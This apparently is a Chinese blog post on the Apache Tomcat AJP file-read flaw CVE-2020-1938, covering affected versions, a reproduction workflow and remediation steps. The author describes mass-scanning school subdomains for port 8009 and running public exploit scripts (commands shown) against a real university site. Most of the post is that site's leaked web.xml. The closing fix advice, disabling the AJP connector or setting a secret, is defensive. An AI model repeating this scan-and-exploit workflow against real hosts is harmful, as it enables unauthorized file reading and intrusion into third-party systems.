一. 漏洞概述
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。利用方式属于文件包含漏洞。目前,厂商已发布新版本完成漏洞修复。
二、影响范围
受影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
不受影响版本
- Apache Tomcat = 7.0.100
- Apache Tomcat = 8.5.51
- Apache Tomcat = 9.0.31
三、漏洞复现测试
因为本次漏洞影响范围比较大,所以这个漏洞在这几天的各大src漏洞平台上都刷疯了。尤其是教育src,已经达到了通过不给rank的地步。可惜本人反映太慢,没有抢上食。提交的大多都被重复了,比较灰心,但是忙了一天。还是把检测和利用过程写下来吧。也不算一天白费。同时,这个漏洞可以去别的src平台刷,因为影响范围太大了。只要使用了上述Apache Tomca版本,开启8009端口Tomcat AJP协议,基本上都会中招。
以沈阳工业大学的某个网站做例子:具体域名不能透露,比较怂。
首先介绍一下使用的脚本工具
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
下载解压
运行环境:python2
以我今天提交的教育SRC模板来说吧:
1、首先找到一个今昨两天还没有被提交过得学校,这样可能性会大一点.....没错,我就是没有节操的吃烂分...
2、然后找到它的主站,进行子域名挖掘扫描,找出带有阿帕奇中间件的子站,然后将域名复制到ip.txt。(只要域名,不要加服务协议,www、http/s都不要加)
3、使用threading-find-port-8009.py这个脚本,用来验证ip.txt中的站点是否开启8009端口,过滤出开启了8009端口的域名保存到8009.txt,这些网站都是开启了8009端口的命令为:python
threading-find-port-8009.py
4、然后使用threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本去验证是否存在这个漏洞,将验证存在的域名保存到vul.txt。这里面就都是存在漏洞的网站。命令为:python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
5、利用漏洞:使用CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本去利用此漏洞读取敏感文件信息,命令为:python CNVD-2020-10487-Tomcat-Ajp-lfi.p target.com
获得以下部分xml敏感文件:
<?xml version="1.0" encoding="UTF-8"?> <web-app id="WebApp_ID" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> <display-name>WKXT Application</display-name> <!-- start proxool连接池 --> <servlet> <display-name>proxool</display-name> <servlet-name>ServletConfigurator</servlet-name> <servlet-class> org.logicalcobwebs.proxool.configuration.ServletConfigurator</servlet-class> <init-param> <param-name>xmlFile</param-name> <param-value>WEB-INF/proxool.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet> <servlet-name>wkxtAdmin</servlet-name> <servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>wkxtAdmin</servlet-name> <url-pattern>/wkxtAdmin</url-pattern> </servlet-mapping> <security-constraint> <web-resource-collection> <web-resource-name>proxool</web-resource-name> <url-pattern>/wkxtAdmin</url-pattern> </web-resource-collection> <auth-constraint> <role-name>manager</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> <realm-name>proxool manager Application</realm-name> </login-config> <security-role> <description>The role that is required to log in to the Manager Application</description> <role-name>manager</role-name> </security-role> <!-- end proxool连接池 --> <context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext.xml</param-value> </context-param> <!-- spring 启动配置 1表示自动启动 --> <servlet> <servlet-name>context</servlet-name> <servlet-class>org.springframework.web.context.ContextLoaderServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> <filter> <filter-name>ValidateScriptFilter</filter-name> <filter-class>com.lyt.util.filter.ValidateScriptFilter</filter-class> </filter> <filter> <filter-name>CharacterEncodingFilter</filter-name> <filter-class>com.lyt.util.web.CharacterEncodingFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> </filter> <filter> <description>解决SQL注入问 XSS(跨站脚本弱点) CSRF(跨站请求伪造)</description> <display-name>XssFilter</display-name> <filter-name>XssFilter</filter-name> <filter-class>com.magtech.filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>CharacterEncodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter-mapping> <filter-name>XssFilter</filter-name> <url-pattern>/CN/*</url-pattern> </filter-mapping> <filter-mapping> <filter-name>XssFilter</filter-name> <url-pattern>/EN/*</url-pattern> </filter-mapping> <!-- <filter-mapping> <filter-name>ValidateScriptFilter</filter-name> <url-pattern>/</url-pattern> </filter-mapping> --> <filter> <filter-name>UrlRewriteFilter</filter-name> <filter-class>org.tuckey.web.filters.urlrewrite.UrlRewriteFilter</filter-class> </filter> <filter-mapping> <filter-name>UrlRewriteFilter</filter-name> <url-pattern>/</url-pattern> </filter-mapping> <servlet> <servlet-name>action</servlet-name> <servlet-class>org.apache.struts.action.ActionServlet</servlet-class> <init-param> <param-name>config/pay</param-name> <param-value>/WEB-INF/struts-common.xml</param-value> </init-param> <init-param> <param-name>config</param-name> <param-value>/WEB-INF/struts-config.xml</param-value> </init-param> <init-param> <param-name>config/manage</param-name> <param-value>/WEB-INF/struts-manage.xml</param-value> </init-param> <init-param> <param-name>config/manage/volumn</param-name> <param-value>/WEB-INF/struts-volumn-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/article</param-name> <param-value>/WEB-INF/struts-article-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/article</param-name> <param-value>/WEB-INF/struts-article-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/article</param-name> <param-value>/WEB-INF/struts-article-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/emag</param-name> <param-value>/WEB-INF/struts-emag-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/emag</param-name> <param-value>/WEB-INF/struts-emag-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/emag</param-name> <param-value>/WEB-INF/struts-emag-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/attach</param-name> <param-value>/WEB-INF/struts-attach.xml</param-value> </init-param> <init-param> <param-name>config/manage/subject</param-name> <param-value>/WEB-INF/struts-subject.xml</param-value> </init-param> <init-param> <param-name>config/manage/domain</param-name> <param-value>/WEB-INF/struts-domain.xml</param-value> </init-param> <init-param> <param-name>config/manage/field</param-name> <param-value>/WEB-INF/struts-field.xml</param-value> </init-param> <init-param> <param-name>config/manage/channel</param-name> <param-value>/WEB-INF/struts-channel.xml</param-value> </init-param> <init-param> <param-name>config/manage/finance</param-name> <param-value>/WEB-INF/struts-finance-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/finance</param-name> <param-value>/WEB-INF/struts-finance-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/finance</param-name> <param-value>/WEB-INF/struts-finance-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/money</param-name> <param-value>/WEB-INF/struts-money-ht.xml</param-value> </init-param> <init-param> <param-name>config/pay</param-name> <param-value>/WEB-INF/struts-money.xml</param-value> </init-param> <init-param> <param-name>config/manage/user</param-name> <param-value>/WEB-INF/struts-user-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/user</param-name> <param-value>/WEB-INF/struts-user-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/user</param-name> <param-value>/WEB-INF/struts-user-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/author</param-name> <param-value>/WEB-INF/struts-author-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/keyword</param-name> <param-value>/WEB-INF/struts-keyword-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/journal</param-name> <param-value>/WEB-INF/struts-journal.xml</param-value> </init-param> <init-param> <param-name>config/manage/column</param-name> <param-value>/WEB-INF/struts-column-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/item</param-name> <param-value>/WEB-INF/struts-item-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/item</param-name> <param-value>/WEB-INF/struts-item-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/item</param-name> <param-value>/WEB-INF/struts-item-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/rss</param-name> <param-value>/WEB-INF/struts-rss-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/rss</param-name> <param-value>/WEB-INF/struts-rss-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/rss</param-name> <param-value>/WEB-INF/struts-rss-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/feedback</param-name> <param-value>/WEB-INF/struts-feedback-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/feedback</param-name> <param-value>/WEB-INF/struts-feedback-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/feedback</param-name> <param-value>/WEB-INF/struts-feedback-en.xml</param-value> </init-param> <init-param> <param-name>config/CN/order</param-name> <param-value>/WEB-INF/struts-order-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/order</param-name> <param-value>/WEB-INF/struts-order-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/order</param-name> <param-value>/WEB-INF/struts-order-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/alert</param-name> <param-value>/WEB-INF/struts-alert-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/browse</param-name> <param-value>/WEB-INF/struts-browse.xml</param-value> </init-param> <init-param> <param-name>config/manage/download</param-name> <param-value>/WEB-INF/struts-download.xml</param-value> </init-param> <init-param> <param-name>config/manage/alertorder</param-name> <param-value>/WEB-INF/struts-alertorder-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/alert</param-name> <param-value>/WEB-INF/struts-alert-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/alert</param-name> <param-value>/WEB-INF/struts-alert-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/ipaddr</param-name> <param-value>/WEB-INF/struts-ipaddr-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/comment</param-name> <param-value>/WEB-INF/struts-comment-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/comment</param-name> <param-value>/WEB-INF/struts-comment-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/comment</param-name> <param-value>/WEB-INF/struts-comment-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/template</param-name> <param-value>/WEB-INF/struts-template.xml</param-value> </init-param> <init-param> <param-name>config/manage/click</param-name> <param-value>/WEB-INF/struts-click.xml</param-value> </init-param> <init-param> <param-name>config/manage/news</param-name> <param-value>/WEB-INF/struts-news-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/news</param-name> <param-value>/WEB-INF/struts-news-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/news</param-name> <param-value>/WEB-INF/struts-news-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/folder</param-name> <param-value>/WEB-INF/struts-folder-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/model</param-name> <param-value>/WEB-INF/struts-model-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/down</param-name> <param-value>/WEB-INF/struts-down-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/mail</param-name> <param-value>/WEB-INF/struts-mail-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/adv</param-name> <param-value>/WEB-INF/struts-adv-ht.xml</param-value> </init-param> <init-param> <param-name>config/manage/location</param-name> <param-value>/WEB-INF/struts-location-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/location</param-name> <param-value>/WEB-INF/struts-location-cn.xml</param-value> </init-param> <init-param> <param-name>config/EN/location</param-name> <param-value>/WEB-INF/struts-location-en.xml</param-value> </init-param> <init-param> <param-name>config/manage/type</param-name> <param-value>/WEB-INF/struts-type.xml</param-value> </init-param> <init-param> <param-name>config/manage/provider</param-name> <param-value>/WEB-INF/struts-provider-ht.xml</param-value> </init-param> <init-param> <param-name>config/CN/provider</param-name> <param-value>/WEB-INF/struts-provider-cn.xml</param-value> </init-param>
4、修复建议
1. 如未使用Tomcat AJP协议:
如未使用 Tomcat AJP 协议,可以直接将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。
如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost。
具体操作:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(也可删掉该行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存后需重新启动,规则方可生效。
2. 如果使用了Tomcat AJP协议:
建议将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复,同时为AJP
Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3"
redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"
secret="YOUR_TOMCAT_AJP_SECRET"/>
如无法立即进行版本更新、或者是更老版本的用户,建议为AJPConnector配置requiredSecret来设置AJP协议认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3"
redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET"
/>